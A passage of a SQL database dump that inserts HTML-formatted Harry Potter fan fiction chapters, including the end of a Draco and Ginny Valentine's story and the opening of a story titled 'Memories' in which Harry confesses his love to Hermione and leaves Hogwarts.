present.&#8221;</p>\n\n<p>Ginny just looked at him. &#8220;What?&#8221;</p>\n\n<p>&#8220;Read the card.&#8221;</p>\n\n<p>Attached to the bottom of the box was a piece of parchment. Ginny broke the seal and read it to herself.</p>\n\n<p>&nbsp;<i>-Come up to meet you, tell you I\'m sorry<br>\n You don\'t know how lovely you are<br>\n I had to find you, tell you I need you<br>\n And tell you I set you apart<br>\n Tell me your secrets, and nurse me your questions<br>\n Lets go back to the start<br>\n &nbsp;Nobody said it was easy<br>\n It\'s such a shame for us to part<br>\n Nobody said it was easy<br>\n No one ever said it would be this hard<br>\n Take me back to the start-</i></p>\n\n<p><i>I sometimes give myself admirable advice, but am incapable of taking it. I told myself to stop, but I find myself thinking that maybe this is a good thing. And too much of a good thing can be wonderful.</i></p>\n\n<p><i>It was so much easier to resist in the beginning, Ginny. I can&#8217;t resist now &#8211; and I&#8217;m not entirely sure why.</i></p>\n\n<p><i>I never wanted your heart &#8211; that gone, you have nothing more to give.</i></p>\n\n<p><i>And I don&#8217;t want you to leave.</i></p>\n\n<p><i>Open the box.</i></p>\n\n<p>Ginny swallowed and opened the box with a slight gasp. Inside was a small, gold heart pendant on a fine gold chain. It was simple, but still one of the most beautiful things she had ever seen. She looked up at him. &#8220;I never wanted your heart, Draco.&#8221;</p>\n\n<p>&#8220;I know.&#8221; Draco said, putting the necklace around her neck. &#8220;But that&#8217;s all I have to give.&#8221; He let his hands trail down from her neck to her wrists and Draco pulled Ginny to him and kissed her.</p>\n\n<p>&nbsp;*~*~*~*~*</p>\n\n<p><b>Always remember you&#8217;re unique. Just like everyone else.</b> That&#8217;s what I used to tell myself &#8211; you&#8217;re not special, Gin. You&#8217;re just a normal witch with nothing special about you, and that&#8217;s why Harry chose Hermione over you. At least she&#8217;s somewhat eccentric</p>\n\n<p>But Draco made me feel like I was the only witch in the world tonight. I don&#8217;t know if I should say this but&#8230;I think that I&#8217;m in love with him. I know, I know &#8211; I just got finished saying that I wasn&#8217;t sure what this was between us. I&#8217;m still not sure, to be completely honest.</p>\n\n<p>&#8220;Happy Valentines Day Ginny.&#8221;</p>\n\n<p>I turn to him, and looking into those eyes, I realize I do know one thing for certain.</p>\n\n<p>I love him.&nbsp;</p>\n\n<p>&#8220;Happy Valentines Day Draco.&#8221;</p>\n\n<p>And he will always have my heart, whether he realizes it or not.</p>\n\n<p><i>&nbsp;</i></p>\n\n ');
INSERT INTO `chapter_text` (`story_id`, `chapter_number`, `chapter_text`) VALUES
	(229, 1, ' <p><b><font face="Verdana" size="2">Memories: the Prologue</font></b></p>\n\n<p> Disclaimer: This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended. </p>\n\n<hr size="2" width="100%" align="center">\n\n<p><font face="Verdana" size="2">The air was much more festive than it had been only a day before. Everyone, from the first-years to the soon to be graduates to even the tired faculty members was finally relaxed for the first time in a very long time. The fears of the hidden future still stayed nearby, but no one cared. Lord Voldemort, who they had called &#8220;You-Know-Who&#8221; even when everyone thought he was long gone, was dead. And his death had come at the hand of the one who had banished him so long ago&#8212;Harry Potter.</font></p>\n\n<p><font face="Verdana" size="2">The band this time was a group of seventh-years that called themselves the Unisex Pistols. They were very skillful with their instruments, playing old favorites and new hits with the prowess that even some professional bands lacked. The best part of their act, however, was when they did a game called &#8220;Mimicry&#8221;. They took requests of names from the crowd, and after conversing amongst themselves for a few moments, played a satirical song about the person. Most of their targets laughed; few, like Argus Filch (the Pistols had made a song about his pants that he didn&#8217;t quite appreciate), fumed quietly in anger.</font></p>\n\n<p><font face="Verdana" size="2">But for now, a slow, romantic song drifted through the Great Hall, and every student danced with his favorite partner. Some danced as friends, holding each other so that space could be seen between them; some danced as lovers with their bodies making full contact. The teachers watched on, letting the hormonal behavior continue; in fact, some joined the students in slow dancing.</font></p>\n\n<p><font face="Verdana" size="2">Of the two types of dancers, Hermione and Ron were definitely in the second category. Hermione Granger leaned her head against the shoulder of her boyfriend Ron Weasley as they danced to the music. She sighed happily. Ron smirked.</font></p>\n\n<p><font face="Verdana" size="2">&#8220;What&#8217;s on your mind, Hermione?&#8221; He asked, whispering sensually into her ear.</font></p>\n\n<p><font face="Verdana" size="2">Hermione sighed again. &#8220;It&#8217;s just&#8230; It&#8217;s just that it&#8217;s over. We don&#8217;t have to worry about living our adult lives under this great big shadow. We won&#8217;t have to fear the Dark Mark being flung over a loved one&#8217;s house. We can just have ordinary, normal lives, with ordinary, normal jobs, and ordinary, normal children.&#8221; She paused as a pair of fairies flew past her face, laughing all the while. She smiled. &#8220;Well, perhaps not <i>too</i> normal.&#8221;</font></p>\n\n<p><font face="Verdana" size="2">Ron shrugged and Hermione lifted her head off of his shoulder to look at him. &#8220;That&#8217;s all in the future, Hermes,&#8221; he said softly, brushing her brown hair back from her face. &#8220;I think that the present deserves some consideration too, don\'t you?&#8221;</font></p>\n\n<p><font face="Verdana" size="2">Hermione grinned, showing her teeth. &#8220;I think you&#8217;re right, Mr. Weasley.&#8221; They leaned even closer to each other, their bodies pressing against each other. They indulged in each other&#8217;s eyes, forgetting everything else except each other. Their hands crept slowly to hold the other&#8217;s head gently. Then, they kissed passionately, still swaying to the gentle throb of the music.</font></p>\n\n<p><font face="Verdana" size="2">Their mouths were still pressed to each other when they both became aware of a foot tapping the floor behind them, loudly enough to be heard over the music. They reacted as any hormone-driven teenagers would react: they ignored it. The following not-so-subtle cough was as easily ignored, and after a few moments, the interloper decided to take an even more direct approach, and tapped Ron on the shoulder. He disengaged from Hermione to turn his head back towards the annoying disturbance.</font></p>\n\n<p><font face="Verdana" size="2">It was Harry Potter, the Head Boy of his year. He was wearing dark green robes, as usual, and there was nothing in his posture or costume that even indicated that he had defeated the Dark Lord less than a week earlier. &#8220;All right, you two,&#8221; Harry said, his face completely solemn, &#8220;there&#8217;s first years here at the dance, too. Don&#8217;t want to corrupt them now, do we?&#8221;</font></p>\n\n<p><font face="Verdana" size="2">&#8220;Sod off, Bighead Boy,&#8221; Ron said flippantly, and turned back to recommence on the task at hand. His lips touched Hermione&#8217;s, but an instant afterwards, she pulled off of his kiss, giggling. She shook her head.</font></p>\n\n<p><font face="Verdana" size="2">&#8220;He&#8217;s right, you know. Being the Head Girl, I shouldn&#8217;t be setting such a bad example.&#8221;</font></p>\n\n<p><font face="Verdana" size="2">&#8220;You said it, not me,&#8221; Harry said, smiling slightly for the first time that night. He raised his hand towards Hermione as the current song ended, and another slow song began. &#8220;May I have this dance, Smarty?&#8221;</font></p>\n\n<p><font face="Verdana" size="2">Her eyes twinkled. &#8220;I&#8217;d love to, Scruffy.&#8221; She looked at Ron expectantly, but he didn&#8217;t seem to get the subtle hint. He stayed where he was, holding her close to him. She stood on tiptoes and kissed his cheek to get his attention. &#8220;Honey, I&#8217;m going to go dance with Harry now. Let go of me?&#8221;</font></p>\n\n<p><font face="Verdana" size="2">Ron threw a quick glance at Harry, and very deliberately swooped down to kiss her passionately once more. Harry watched, face emotionless, as the kiss continued. Finally, Hermione broke it off, her eyes slightly glassy, and turned towards Harry. As Harry and Hermione smiled at each other and put their arms around each other, Ron glared at Harry with vehemence. After a moment, he stalked off towards the drinks. </font></p>\n\n<p><font face="Verdana" size="2">As for Harry and Hermione, they were silent, just enjoying the comfort between them. They listened to the lead singer sing out about soulmates, and true love, and destiny. Hermione looked up at Harry after a moment.</font></p>\n\n<p><font face="Verdana" size="2">&#8220;So, Mr. Hero-Slytherin-Man,&#8221; Hermione teased, &#8220;how are you going to celebrate beating Voldemort for the final time?&#8221;</font></p>\n\n<p><font face="Verdana" size="2">Harry smiled at her. &#8220;What do you think I&#8217;m doing right now, Smarty?&#8221;</font></p>\n\n<p><font face="Verdana" size="2">Hermione blushed slightly. &#8220;Yeah, well- I don&#8217;t think you&#8217;ll ever need to worry about your future in the wizarding world. I think you&#8217;ll be able to do whatever you want to do. I&#8217;m sure you can start modeling for towel companies, and still you&#8217;ll get a lot of money.&#8221;<br>\n\n\n<br>\n Harry&#8217;s grin had faded while Hermione had been talking. He looked down at the floor, away from Hermione&#8217;s face, as he mumbled &#8220;Well, I&#8217;m not too sure about my future. It doesn&#8217;t look too bright for me.&#8221;</font></p>\n\n<p><font face="Verdana" size="2">Hermione&#8217;s eyes widened. &#8220;Harry, what are you talking about?&#8221;</font></p>\n\n<p><font face="Verdana" size="2">Harry shrugged. &#8220;It&#8217;s&#8230; it&#8217;s nothing. Don&#8217;t worry about it.&#8221; They continued to dance, falling back to silence.</font></p>\n\n<p><font face="Verdana" size="2">Hermione frowned. For the first time that night, she noticed that Harry was agitated over <i>something.</i> (No one else had noticed; Hermione Granger had gotten so used to Harry&#8217;s moods over the years to recognize his near-imperceptible moods.) She leaned up on tiptoe, against his body, to whisper in his ear.</font></p>\n\n<p><font face="Verdana" size="2">&#8220;Harry, what&#8217;s wrong? Don&#8217;t even <b>try</b> to brush it off as nothing again. I know you better than you know yourself, Mister, and there&#8217;s something bothering you.&#8221;</font></p>\n\n<p><font face="Verdana" size="2">Harry sighed. His eyes met hers, and he seemed to drink in the sight. &#8220;I can&#8217;t bear it any more.&#8221; He whispered. He smiled sadly. &#8220;I know I&#8217;m not going to see you after we leave Hogwarts.&#8221;</font></p>\n\n<p><font face="Verdana" size="2">Hermione shook her head and chuckled slightly. &#8220;What are you talking about? We&#8217;ll still live with Mom and Dad for at <i>least</i> the summer. And didn&#8217;t you want to move in with Ron and me in London?&#8221;</font></p>\n\n<p><font face="Verdana" size="2">Harry laughed bitterly, a sound that Hermione knew all too well. After they had entered Hogwarts, Harry had grown too cynical and too sarcastic for Hermione&#8217;s liking.</font></p>\n\n<p><font face="Verdana" size="2">&#8220;Hermione,&#8221; he said, his body still jerking from his mirthless laughter, &#8220;Did you actually <i>dream</i> that Ron and me could get along? He hates my guts.&#8221;</font></p>\n\n<p><font face="Verdana" size="2">&#8220;He just hates Slytherins: he has nothing against you personally.&#8221; Hermione answered feebly.</font></p>\n\n<p><font face="Verdana" size="2">&#8220;Hermione,&#8221; Harry said again, and placed his hands on her shoulders and held her at arm&#8217;s length. He stopped dancing. &#8220;Ron Weasley has always hated me, and not just because I&#8217;m a Slytherin. He only pretends to tolerate me around you because I&#8217;m your best friend. And I know you&#8217;re smart enough to know that.&#8221;</font></p>\n\n<p><font face="Verdana" size="2">Hermione sighed and closed her eyes. She nodded, and was silent for another moment. Harry placed his arms around her once more, and they began to dance again.<br>\n\n\n<br>\n The song had drawn nearly to a close when Hermione suddenly realized what Harry had done. Though everything he had said was true, to her dismay, she realized he had driven her away from the answer of her original question.</font></p>\n\n<p><font face="Verdana" size="2">&#8220;You&#8230; you git!&#8221; Hermione said, grinning. &#8220;How <i>dare</i> you use that Slytherin cunning to trick me! Answer my question!&#8221; She looked up at his eyes again, and found them hard and sad.</font></p>\n\n<p><font face="Verdana" size="2">&#8220;Hermione, I can&#8217;t take it any more. I&#8217;m going to run.&#8221; Harry whispered into the air, looking up into the ceiling to avoid her gaze.</font></p>\n\n<p><font face="Verdana" size="2">Hermione frowned. &#8220;What do you mean, Harry? What can&#8217;t you take? Harry, Harry&#8212;you know I&#8217;m here for you. I&#8217;ll always be here for you. You&#8217;re like a brother to me.&#8221; She reached up with her hands to touch his face, but he jerked away.</font></p>\n\n<p><font face="Verdana" size="2">&#8220;That&#8217;s exactly what I mean, Hermione. I&#8217;m like a brother to you.&#8221; He paused for a moment, then took a deep breath. In a whisper almost unheard over the music, he murmured, &#8220;I love you.&#8221;</font></p>\n\n<p><font face="Verdana" size="2">Hermione nodded. &#8220;I love you too, Harry. I&#8217;ve loved you for as long as I can remember ever loving someone. You know that.&#8221;</font></p>\n\n<p><font face="Verdana" size="2">Harry smiled sadly. &#8220;You still don&#8217;t understand.&#8221; The music had stopped, and the Unisex Pistols was pausing from their jamming to address the audience. Everyone had stopped dancing, and were laughing and cheering at the band&#8217;s jokes and insults. Ron had noticed the intense looks Harry and Hermione were giving each other, and had started to walk in their direction. Some of the crowd began to migrate towards the bathrooms and the refreshments, moving past the Head Girl and Boy still standing in the middle of the hall.</font></p>\n\n<p><font face="Verdana" size="2">But the world seemed to have faded away to Harry and Hermione. The crowds glided past them, their mouths moving but producing no sound. Color seemed to drain out of everything else in the room, leaving only each other vibrant to their eyes. Ron was millions of miles away to them, and he was forgotten in the crowd, his yells to Hermione lost in the bustle of the crowd. Both could hear the beating of their hearts, painfully loud in their ears.</font></p>\n\n<p><font face="Verdana" size="2"><i>Thump-thump.</i></font></p>\n\n<p><font face="Verdana" size="2">Harry slowly grasped Hermione&#8217;s hands with tenderness.</font></p>\n\n<p><font face="Verdana" size="2"><i>Thump-thump.</i></font></p>\n\n<p><font face="Verdana" size="2">Harry looked into Hermione&#8217;s eyes, his green meeting her brown.</font></p>\n\n<p><font face="Verdana" size="2"><i>Thump-thump. Thump-thump.</i></font></p>\n\n<p><font face="Verdana" size="2">&#8220;Hermione,&#8221; Harry said solemnly, &#8220;I love you as a man loves a woman, as your father loves your mother. I love you so much it hurts me to ever be away from you.&#8221;</font></p>\n\n<p><font face="Verdana" size="2"><i>Thump-thump. Thump-thump. Thump-thump.</i></font></p>\n\n<p><font face="Verdana" size="2">&#8220;I love you enough to know that you don&#8217;t feel as strongly as I do. I love you enough to let you be with whomever you love. I love you enough to let you go.&#8221;</font></p>\n\n<p><font face="Verdana" size="2">He smiled again. &#8220;Thank you for the dance, Hermione.&#8221;</font></p>\n\n<p><font face="Verdana" size="2"><i>Thump-thump. Thump-thump. Thump-thump. Thump-thump. Thump-thump.</i></font></p>\n\n<p><font face="Verdana" size="2">She read in his eyes what he would do moments before he moved. Still, for reasons she herself could not explain, she did not budge when Harry leaned down to kiss her.</font></p>\n\n<p><font face="Verdana" size="2">It was sweet, soft, and gentle&#8212;and perfectly gentlemanly. Harry had kissed her on the cheek, as a brother would to his sister&#8212; as Harry had given to Hermione many times before in their lives. When he straightened once more, both had tears falling from their eyes. Something was being lost in that moment&#8212;and both of them knew it.</font></p>\n\n<p><font face="Verdana" size="2">Harry smiled shakily despite his tears. He grazed her left cheek gently with the back of his hand, wiping away some of her tears.</font></p>\n\n<p><font face="Verdana" size="2">&#8220;Good bye, Hermione. God bless you,&#8221; were Harry&#8217;s last words to the woman he had lived with, bickered with, cried with, laughed with, danced with, played with, and studied with for all of his life. </font></p>\n\n<p><font face="Verdana" size="2">He disappeared.</font></p>\n\n<p><font face="Verdana" size="2">At first, no reaction came from Harry&#8217;s disappearance. Everything continued normally, and only a few had noticed that the Hogwarts Head Boy had just gone AWOL. (Those who did had either two reactions: they either didn&#8217;t care, or they figured it was one of his odd tricks.) Hermione grasped at all the possibilities, unable to accept that he was gone.</font></p>\n\n<p><font face="Verdana" size="2"><i>The only thing he could have done was to use an invisibility spell of some kind, </i>Hermione thought, her mind racing for answers. <i>Everyone <b>knows</b> nobody can Apparate from Hogwarts, it\'s in </i>Hogwarts, a History<i>&#8212;</i></font></p>\n\n<p><font face="Verdana" size="2">As if to mock her thoughts, an audible <b>pop</b> was heard all throughout the room, heard over all the other sounds&#8212;the telltale mark of an Apparation. Before anyone could question what that was all about, a horrendous ripping sound reverberated through the air. The ground shook violently, and the lights magically floating in the air flickered repeatedly before the Hall was overcome by darkness.</font></p>\n\n<p><font face="Verdana" size="2">Hermione collapsed to the floor, unnoticed by anyone. Through all the chaos and confusion, all Hermione could do was cry. On that night, one supposed to be filled with happiness and revelry, she had received the greatest sorrow of her life. She hadn&#8217;t just lost a best friend and a brother; she had lost part of her soul.</font></p>\n\n<hr size="2" width="100%" align="center">\n\n<p><font face="Verdana" size="2">Harry Disapparated into a stall of a restroom in London, away from all inquiring eyes. He stayed there for a few moments, trying to gather his senses together. He let himself cry for a few more minutes, in the privacy of the stall; then, with robotically short movements, he put the past away from his mind and changed clothes with the spare he had left in the restroom an hour earlier, during his preparations. After all, a Slytherin wasn&#8217;t a Slytherin if he couldn&#8217;t detach himself from his emotions.</font></p>\n\n<p><font face="Verdana" size="2">When he was presentable once more (which included a Wrinkle-Remover spell and a spell to get rid of his tear streaks), he stepped out of the restroom and into King&#8217;s Cross station. He unlocked the restroom door, and removed the &#8220;Out Of Order&#8221; sign from its front. A few bystanders looked curiously at the young man who had stepped out of the restroom no one had seen him enter.</font></p>\n\n<p><font face="Verdana" size="2">He checked his Muggle watch and saw that it was now ten thirty. <i>Thirty minutes early,</i> he mused as he found the patch of wall he had marked earlier, while making his preparations. He quickly cast an Avoidance Charm, muttering the incantation under his breath. When he was sure it was in effect, and that no Muggles could see him, he dispelled the Camouflage charm and retrieved his belongings. He mingled with the crowd in an instant, and made his way over to Platform 10.</font></p>\n\n<p><font face="Verdana" size="2">He sat down on a bench and waited for the time to pass. Despite himself, he could feel tears start to well up behind his eyes. He shook his head furiously.</font></p>\n\n<p><font face="Verdana" size="2"><i>This is all for the best, Potter,</i> he told himself. <i>Best get used to it as soon as possible. Though&#8230; I could do without the damn memories. Just my damn luck, to have my Muggle train be so close to Platform 9 &#190;&#8230;</i></font></p>\n\n<p><font face="Verdana" size="2"><i></i>He stared at the wall hiding the entrance to Platform 9 &#190; for a moment. He could remember so much from his life, and so much had to do with the girl he had left crying in the Great Hall&#8230;</font></p>\n\n<p><font face="Verdana" size="2">END OF PROLOGUE</font></p> '),
	(229, 2, '<p><font>Disclaimer: This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended. </font></p> <p><font><b>Author\'s Note: </b>Because of complications with my work, I suddenly have a lot of free time over the next few months. This means I get to restart all those fics that I never finished. Here is an unbetaed version of Memories, Chapter 1 - the revised one will go up eventually, but I wanted to get some reader feedback on the way the story is going.</font></p> <p><font>Hope you all enjoy this! I suggest reading the prologue again ^^</font></p> <hr/> <p><b><font>Memories, Chapter One: Beginnings</font></b></p> <i>October 31, 1987</i> <p><font>He had no idea where he was, really. He wasn’t even sure how the shaggy-looking man had known to come to 4 Privet Drive when he had begun to realize his aunt and uncle were gone for good. He had never seen the man before today, but something in his manner and his demeanor made him take the stranger’s hand and follow him out of the house that held such awkward memories for him. And at the end of the journey, here he was, standing in front of an unfamiliar house in an unfamiliar village, in front of people he had never seen before in his life.</font></p> <p><font>“This is Mister and Missus Granger, Harry,” he heard, and he looked up at the pair smiling at him. The Grangers looked like people he could trust, but he still had a growing urge to jerk out from under the shaggy man’s hands and make a run for it. Only two things stopped him from running away. The first would have sounded completely mad if he tried to explain it to anyone, but he wanted to trust the man because he had made a bus appear just by raising his thumb. Just like New York cabs in those movies he had watched surreptitiously from the stairs. The second, more practical reason was that he had no idea where he was, and the man seemed to be a trustworthy chap. So he did what the adults expected him to do and smiled sheepishly back at the Grangers.</font></p> <p><font>“It’s a pleasure to meet you, Harry. You’ll be staying with us for a while, and I hope you’ll learn to fit in with our family.” Mr. Granger- or was that Doctor Granger?- leaned down and shook Harry’s hand. At least he had a firm handshake – unlike his uncle – and his eyes looked warm behind his glasses – also unlike old Vernon. Harry let a small bud of hope blossom in his heart. Maybe, just<i> maybe, </i>it would turn out differently with these two.</font></p> <p><font>Harry cleared his throat, a weak, small sound. “Hello, Mr. Granger. Hello, Mrs. Granger.” He paused there, suddenly filled with uncertainty. What was one supposed to say at a time like this? <i>‘Maybe you won’t abandon me to go to </i><i>America, like my previous family did?’</i></font></p> <p><font>During his hesitant pause, Mrs. Granger stepped forward and took his hand in hers. As if she could read Harry’s fear of the unknown in his eyes, she smiled kindly again and led Harry into the house. The house was behind a very clean dentists’ Surgery, and it was nicely furnished. The living room had a huge bookcase that completely occupied one wall, and a piano occupied the other side of the room. The room (and the house) was not particularly big, but Harry liked it regardless.</font></p> <p><font> “Harry, this is our daughter Hermione. I hope you two get along; she’ll be your classmate when you transfer to her school.”</font></p> <p><font><i> Transfer?</i> Harry thought. <i>That clinches it. They </i>are <i>adopting me</i>. That thought opened the gates to a flurry of emotions; fear, anger, joy, and even panic flooded his mind. So he did the only thing he could do, something he learned after years of emotional abuse from his relations- he forced his mind off of the matter, and instead looked at the daughter in question. Hermione was short and didn’t look athletic. She was dressed in nice, semi-formal clothes; it was obvious the Grangers had wanted to impress him.</font></p> <p><font>She spoke first. “Harry Potter, is it? I’m Hermione Granger, and I hope you’ll like it here. I always did want a brother or someone that would live in the same house as me, so I would have someone I could walk home with together. Well, perhaps not exactly a <i>brother</i> but you know what I mean. I’ll do my best to help you get accustomed to the area. Do you like reading books? I think they’re marvelous.” She said all this very fast. She paused and looked at him for an answer, but Harry felt overwhelmed by the flood of words.</font></p> <p><font>“Um.. well..” he said, flustered. The adults in the room laughed politely at Harry’s discomfiture. Mr. Granger laid a hand on Hermione’s shoulder.</font></p> <p><font>“We’ll go to the kitchen and let you get acquainted. Come on, Remus.” The adults left Harry and Hermione alone in the room. As soon as the door closed, Harry moved immediately towards the wall next to the kitchen door, pretending to look earnestly at the family portrait that was on the wall. He strained his ears to see if he could catch any of the conversation within, to shine a light on <i>who</i> these people were. The door had been left slightly ajar and Harry could hear some of their words.</font></p> <p><font> “—going on, Remus?”</font></p> <p><font>“This is the son of an old friend of mine, James Potter. He was under the charge of the Dursleys, and they just.. left him. I don’t know exactly what happened, but a colleague of mine—”</font></p> <p><font> “Wait—let me close the door properly, I’d forgotten the lock’s broken and leaves it open—”</font></p> <p><font>Harry turned to move away from the door so that Mr. Granger could not see him snooping. He was surprised when he came across Hermione, who had moved right behind him without even noticing.</font></p> <p><font>In a voice much louder than usual, Hermione said, “Yes, that is our family. I’m an only child, as you can see—and not too many aunts and uncles in England. But I do realize things could be quite worse than it is already.” Harry stared at her blankly until the loud click of the lock echoed into the room. He turned around and stared at the kitchen door, and then turned and looked at Hermione again. She had a serious expression on her face; Harry immediately decided it was an appropriate look for her.</font></p> <p><font> “Umm..” Harry stammered. “Thank you.”</font></p> <p><font> Hermione smiled, her face brightening. “No problem.”</font></p> <p><font>Harry didn’t feel so out of place anymore.</font></p> <hr/> <p><font><i> present day</i></font></p> <p><font>The train to Cambridge came on schedule (for once), and Harry managed to get on it without any troubles. The train wasn’t very crowded, and people avoided sitting next to Harry when they took a look into his set expression. It was a very carefully practiced expression, made perfect by literally hours of practice in front of the mirror in the Slytherin common room. It was quite perfect for times like these, when a wizard just wanted to be alone.</font></p> <p><font>Harry sighed. He had been so bewildered and out of place when he had met the Grangers—and Hermione, of course. He had looked at her and dismissed her for a bossy girl who talked too much. When she had immediately gone along – seen what he had wanted to do and followed suit, he realized she was quite more than that. And therein lay the problem. She was quite more than a lot of things.</font></p> <p><font>Harry laid his head against the window and stared out at the scenery beginning to pass by. Things had gone quite tits-up, hadn’t they?</font></p> <hr/> <p><font>“He looked so lost when I first met him.”</font></p> <p><font>“You know what, Hermione? I can’t really picture Potter as looking lost. Just can’t conjure it up in my head,” Lavender said.</font></p> <p><font> Hermione smiled wistfully. “I know, doesn’t it seem that way? But we\'re all more vulnerable when we’re younger, I suppose, and Harry hadn’t learned about Voldemort—” Lavender shuddered at the name, even though she had watched him die—“and he hadn’t been Slytherin. That changed him a lot, I’m sad to say.”</font></p> <p><font> Lavender nodded. It was rather easy for her to picture Harry being changed because of his turning up to be a Slytherin. A Slytherin had been the salvation of the existence of the wizarding world, but prejudices born from generations could not be stamped out so easily. She looked at Hermione closely. “You know, you seem remarkably put together for someone whose best friend slash person who you’ve lived with for over 10 years told her he loves her.”</font></p> <p><font> Hermione looked down. “I don’t know what I’m supposed to do. I don’t know how I can face him after graduation is over—”</font></p> <p><font> “Well,” Lavender said, “considering what he said to you, I don’t think you’ll have to worry about meeting him again.”</font></p> <p><font> Hermione continued on as if uninterrupted. “I don’t know what I can do about what he said to me, and I don’t know what to do about—” She broke off suddenly and stood up from her bed. “Ron!”</font></p> <p><font> Lavender stood up after her, somehow managing to look graceful while doing so. “Nice of you to remember your boyfriend. He’s waiting for you in the Common Room, and I say he doesn’t look very happy. Have you told him what Potter said to you yet?”</font></p> <p><font> Hermione brooded over Lavender’s words as she walked out of her bedroom and into the Common Room. Ron was pacing in front of the fireplace; he had an almost ugly look on his face as he thought and worried. He looked up as soon as the door behind Hermione closed, and his face broke into a worried smile. He met Hermione halfway up the stairs and held her close to him.</font></p> <p><font>“How are you feeling? Are you okay? Did he do anything to you?”</font></p> <p><font> “What?” Hermione said and jerked away, shocked. “What do you mean?”</font></p> <p><font>Ron’s face darkened again. “<i>Potter,</i>” he spat, making that single word a harsh epithet. “I was watching you two—and I know he said something or did something terrible to you. He did some sort of spell, I saw his hands moving that clever bastard. Just watch it, I’m going to pound him into the ground the next time I see him, that buggering—”</font></p> <p><font>“Ron!” Hermione interrupted. She paused when he looked at her intently. She said, “Harry didn’t say anything mean to me, and he didn’t cast any sort of spell on me. He just—he told me something that was unexpected. That’s all.”</font></p> <p><font> “Well?”</font></p> <p><font>“Well what?”</font></p> <p><font>“What did he say to you?” Ron said impatiently.</font></p> <p><font> Hermione blushed slightly and hoped furiously that Ron wouldn’t notice it. She said, “He told me that he wasn’t going to bother my parents anymore, that he got a flat somewhere else. He told me he’s not going to see me over the summer.”</font></p> <p><font>Ron smiled. “Well, good riddance to bad rubbish. But that can’t have made you look the way you did. What else did he say?”</font></p> <p><font> Hermione said in a forced-calm voice, “He told me that he was in love with me and that he had been in love with me for the last few years.” She braced inside for the anger that would no doubt erupt from Ron.</font></p> <p><font>She wasn’t disappointed. Ron’s face turned many different colors, first pale, then gradually reddening until it matched the color of his hair. He sputtered for a bit, as if he couldn’t get the words straight in his mind. He paused a moment, gathered his thoughts, and spoke with an uncertain smile on his face.</font></p> <p><font>“He must have been joking, right?” When Hermione didn’t smile back, he frowned. “But.. Potter’s a right nutter. You’re his sister, for Heaven’s sake!”</font></p> <p><font> Hermione sighed. “I don’t know. He’s always been my best friend, and he’s always been there for me whenever I needed someone. But I’ve been thinking. He’s never called me sister, and he’s never called Mum and Dad anything but Mister and Missus Granger.” Ron didn’t look any convinced.</font></p> <p><font>“That doesn’t change the fact that you two are as close as siblings! God, you and him would be like.. I dunno, Fred and George snogging.” He looked sick just at the thought of that. His eyes changed suddenly, and he asked, “Why have you been thinking? Surely you’re as sickened by his offer as I am?”</font></p> <p><font>“You think I was expecting him to tell me that? Merlin!” Hermione frowned and poked a finger in his chest. “You know, I’ve avoided this talk for too damn long. Why do you hate Harry so? There’s no reason for it!”</font></p> <p><font>“Oh, there are plenty of reasons.” Ron replied, and ticked the reasons off on his fingers as he went. “1. He’s a big slimy git. 2. He pretends to be so nice to you, but he isn’t good for you in the long run, I promise you that. There’s no reason why he would have been put in Slytherin otherwise—”</font></p> <p><font>“I’m sure you’ve noticed, but he <b>killed the Dark Lord himself</b>—” Hermione interrupted, her voice growing louder and angrier.</font></p> <p><font>“And 3, he makes Gryffindor lose sometimes at Quidditch—”</font></p> <p><font>“Oh, <b>sod</b> your bloody Quidditch! I’ve lost a friend I’ve depended on for what seems like forever, and you’re sitting there holding a sodding grudge because of <i>Quidditch</i>? I’m so glad you have my interests at heart! I thank you for your interest, now you can just piss off!”</font></p> <p><font> Ignoring the few Gryffindors who had been awake to witness their argument, Hermione stalked out of the Common Room and out the portrait door.</font></p> <hr/> <p><font>“Your ticket, sir?”</font></p> <p><font>Harry handed the man his ticket without answering and without a smile, and he took the hint. As soon as he had verified Harry’s ticket, he handed it back and left the teenager alone to brood.</font></p> <p><font>The problem really wasn’t what to do now; he had planned things out perfectly. He had a job lined up and a flat and even had enrolled on courses at the university nearby. He had researched and found (the thought that Hermione would have been proud flitted across his brain, and it didn’t hurt as much as it should have) a potion that would allow him to continually change his appearance. No one would be able to track him down.</font></p> <p><font>Harry shouldered his bag and walked off the train station. He stared out at Cambridge, stretched out before him. The flat he had rented was only a few blocks from the university he had enrolled in. As he walked to it he ran into college students celebrating their impending graduation with the traditional beer, and more beer. It didn\'t exactly fit Harry’s mood. If he had his way, he would have walked through blocks and blocks of dark and empty streets to his destination. Since he couldn’t, he settled for a set, angry expression that made the crowds avoid the brooding teenager. After a few moments, he walked along the shadows of the buildings; he felt more at ease there than in the street bathed by lights from the open doors of pubs.</font></p> <p><font>Just his luck, the elevator was broken. Harry walked up the five flights of stairs without complaint. Four different sets of wards told Harry no one had entered his room in a month when he had rented the place. Harry reset the security charms after he entered. Some of the craziest Death Eaters were still on the loose, and Harry knew they were looking to avenge their fallen master.</font></p> <p><font>He put his bags down in the middle of the living room, and looked around. He had nothing to do, nothing to occupy his mind. He had planned out the Disappearance too well; every possible outcome had already been so carefully prepared for he had forgotten about what emotional state he would be in after the Disappearance.</font></p> <p><font><i> Ridiculous</i>, Harry thought. <i>I don’t even have a TV here or a Wizarding Wireless to idle time away.</i> He couldn’t go out to buy supplies because he already stocked three months of food in the back. All he had left to do, really, was to sleep.</font></p> <p><font> But though he lay in his bed, sleep seemed virtually impossible to him. When he stared up at the ceiling, he heard Voldemort’s crackling, sickly laughter echoing in his mind. When he closed his eyes, visions of his times with Hermione danced in front of him, mocking him.</font></p> <p><font> Harry carefully weighed the options, and chose to close his eyes.</font></p> <hr/> <p><font><i>November 13, 1989</i></font></p> <p><font>“So how do you like our town?” Hermione asked as they walked to school.</font></p> <p><font>“It’s a nice place,” Harry replied. “Your parents have been lovely to me. I hope I can someday repay them for all they’ve done for me.”</font></p> <p><font>Hermione waved the comment away. “I think they’ve always wanted another kid, but they couldn’t.” Harry didn’t reply, and they were silent for a block. Hermione suddenly turned to Harry. “Oh! Did you remember to bring the library books? They’re due soon, and I think we should get the next books in the series, and it’s always a good idea to return things early if you’re finished—”</font></p> <p><font>“Yes I did, Miss Smartypants,” Harry interrupted, smiling.</font></p> <p><font>Hermione shook her head. “Make fun, but it’s not good to break promises. The 